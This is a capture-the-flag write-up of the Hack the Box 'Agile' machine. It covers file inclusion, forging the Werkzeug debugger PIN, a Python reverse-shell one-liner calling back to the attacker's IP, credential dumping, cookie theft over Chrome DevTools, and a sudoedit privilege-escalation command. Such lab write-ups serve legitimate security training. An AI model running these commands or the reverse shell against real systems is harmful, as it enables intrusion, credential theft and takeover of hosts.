Hack the Box - Agile
Posted on August 3, 2023 • 8 minutes • 1537 words
Welcome back! Today we’re going to do the same thing we do every day, Hack the Box! Today’s machine is Agile. This machine is listed as a medium Linux machine. Let’s go!
We start off with our standard enumeration of the target - rustscan -a $TARGET -- -sV -sC
. Here’s our results:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pretty small result set. Right off the bat we see we need to add superpass.htb
to our host file. We do that and head over to the page being hosted. We land on a page for SuperPassword. While we manually sift through the site, we’ll also kick off a gobuster
scan to see what else we can find.
Command:
gobuster dir -u http://superpass.htb -w /path/to/worldlist -t 70
While that’s going, we try to login with some basic sql
injections and get some errors back.
Now I wasn’t able to recreate that SQL
injection error, but luckily, I was proxying everything through burpsuite
. There is a lot of leaked information here. We have the absolute path of the application as /app/app/superpass
. We see the framework is flask
. We know it uses some sort of interaction with a MySQL
database below it.
We see the entry as an interesting request:
This seems to give us the content of the debugger.js
file. What’s interesting about this is that it’s loading an internal resource for us to view. So we create an account on the site to further analyze. We then have access to create passwords. It comes with an ’export function’ and an ‘Add password function’.
Now, when we start poking at the download
function we see that if we supply some LFI
commands, we get some results back implying we might be able to get something from it.
We test that with a basic LFI
for /etc/passwd
. Sure enough, it does return the file:
We also know the user we’re after is edwards
. So let’s try to get this applications source code using the same method. We check the basic app.py
first. The two things we note here is that the app.config['SECRET_KEY]
value is set to a random set of characters.
And that there are some additional views
for us to inspect.
When we inspect the vault_views.py
we see the ability to view any row.
So we run this request throught intruder
with a 1-100 value range and nothing comes back. We assumably can only read values of other people. So, how do we become someone else? Cookies of course! So we start gathering session cookies
from our proxy and use flask-unsign
to decode them.
So when attempting to access a page without being logged in, we’re told to login. While attempting to access a row while being logged in returns a blank response. After trying quite a bit, I took a look around and see that the Box was PATCHED to remove this specific path. Shitttt. Back to the drawing board. We’re probably going to need to leverage thie LFI
in a way to get the PIN for the interactive console session. So we take a look at /proc/self/environ
which shows us a path or two:
So we check the path for the /app/config_prod.json
.
This is nice we might be able to use these at some point. Next we also check /proc/self/cmdline
to see what was loaded.
We see some gunicorn
running on the localhost.
There are quite a few moving parts here, but nothing that is super helpful to getting into the console
on the debug page. Inspecting the debug page with the console
open shows it’s a wekzeug Debugger
. Now, some Googling on that lead me to Hack Tricks
. According to the ticks, we should inspect how the PIN is generated in python3.5/site-packages/werkzeug/debug/__init__.py
. So for us that path looks more like app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py
.
Alright, looks like we’re on the right track here. We need the following information:
Username
Modname
The Absolute Path
of the app
The mac address
Machine-id
We know the username
from our previous enumeration to be www-data
. We know the modname
to be flask.app
from the debugging leak. We also know the absolute path
from the debgging leak as well. Next on that list is the mac address
. Now we can actually obtain this via a LFI
if we parse some of the proc
tables. In particular /proc/self/net/arp
.
Now we can convert that over as it’s show.
For us it’s 345052353751
For the last part, we need the machine-id
.
We get ed5b159560f54721827644bc9b220d00
Now we take our machine-id
and combine it with our next value set:
We get ed5b159560f54721827644bc9b220d00superpass.service
. Finally all our required vairables. Let’s see if we can plug them in and run the script.
Command:
python3 pin.py
We get a pin value back:
We plug it in and it doesn’t work?! Reviewing the code and the PoC you can see that our value for getattr(app, '__name__', getattr(app.__class__, '__name__'))
is not actually Flask
it’s wsgi_app
. We modify that value and we still don’t get the correct pin! What else is a valu that can change here - MAC address
. We could have provided the wrong address since it’s a virtual machine. According to this
we can check /sys/class/net/*/address
. In our case, we can’t provide *
so we just itterate through the eth
value interfaces.
Sure enough, it’s different! Let’s try this again, with the right value for the mac address. We print out our new pin and it works! Finally! We have console access!
So now, we know from reading the dubber info that we can run python
code here.
We can provide a basic python
reverse shell and hopefully catch it.
Supplied shell: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Start up our nc
listener and catch the shell!
Ok, time to try and pivot out of www-data
user. There’s a lot of error and information getting dumped into the interface as well. My first thought is to leverage the MySQL
credentials we obtained earlier via config_prod.json
to log in and dump the database.
We dump the passwords from the database and try them against SSH
. We get a hit for corum
. We’re able to login and get the user.txt
flag! Time to figure out how to escalate. We copy over linpeas
and pspy
to see what data we can get. linpeas
shows us that Chrome
is running in a debugger mode on port 41829
and we also see something being hosted on 5555
as well.
In order to get to this location, we’ll need to proxy our traffic because it’s running locally.
Command:
ssh -L 8888:127.0.0.1:5555 corum@superpass.htb
Now when we visit port 8888
on our local host we should be able to see what’s running. Looks like another version of the same software. I setup some gobuster
to enumerate and then start poking at the 41829
port using the same method of port forwarding. Now when we visit this page, it’s just blank. So we setup some enumeration on this as well, just in case. Turns out there’s a json
file location.
When we visit the location, we get a websocket debugger url in our response:
So this looks like cookie data from our previous application that we tried to decode and rencode. So to interact with websociets
we can use websocat
.
We needed to re-create our tunnel underport 41829
. Then we try to websocat
and get some information:
This prompt expect some JSON
. I’m just not exactly sure what. Research leads me here to the DevTools page
. So we enable the Network
functionality. If we don’t do so, we cannot send events to our websocket
.
Now that we can send some commands, there are some that look fun, like network.setCookies
, network.getCookies
and network.getAllCookies
. I like the third, since it gives us more bang for our buck.
We now have some kind of cookie for our test site. We reforward our port back to the 5555
. We modify the cookie value in the test site and refresh. We now have some new credentials!
We take those credentials over to SSH
and we’re in… again!
A sudo -l
shows us that we can run some priviledged items as edwards
. Specifically sudoedit
. When we check sudoedit --v
we see it’s running sudo
version 1.9.9. This version has a vulnerability in it
. So now we know that we can escalate with this function, we just need to find a way to leverage it. After snooping around and running pspy
we spot our way out!
We can catch a shell here, once this activates the venv
!
So we use sudo -u dev_admin EDITOR='nano -- /app/venv/bin/activate' sudoedit /app/config_test.json
. This will allow us to edit two file. Firstly the activate
file the script calls, then our intended file of config_test.json
. Once we’ve added our reverse shell to the activate
file, we just wait for it to give us a shell!
Make sure that we have our nc
listener running and wait for the connection to come in
There we have it, a quite hard ‘medium’ machine!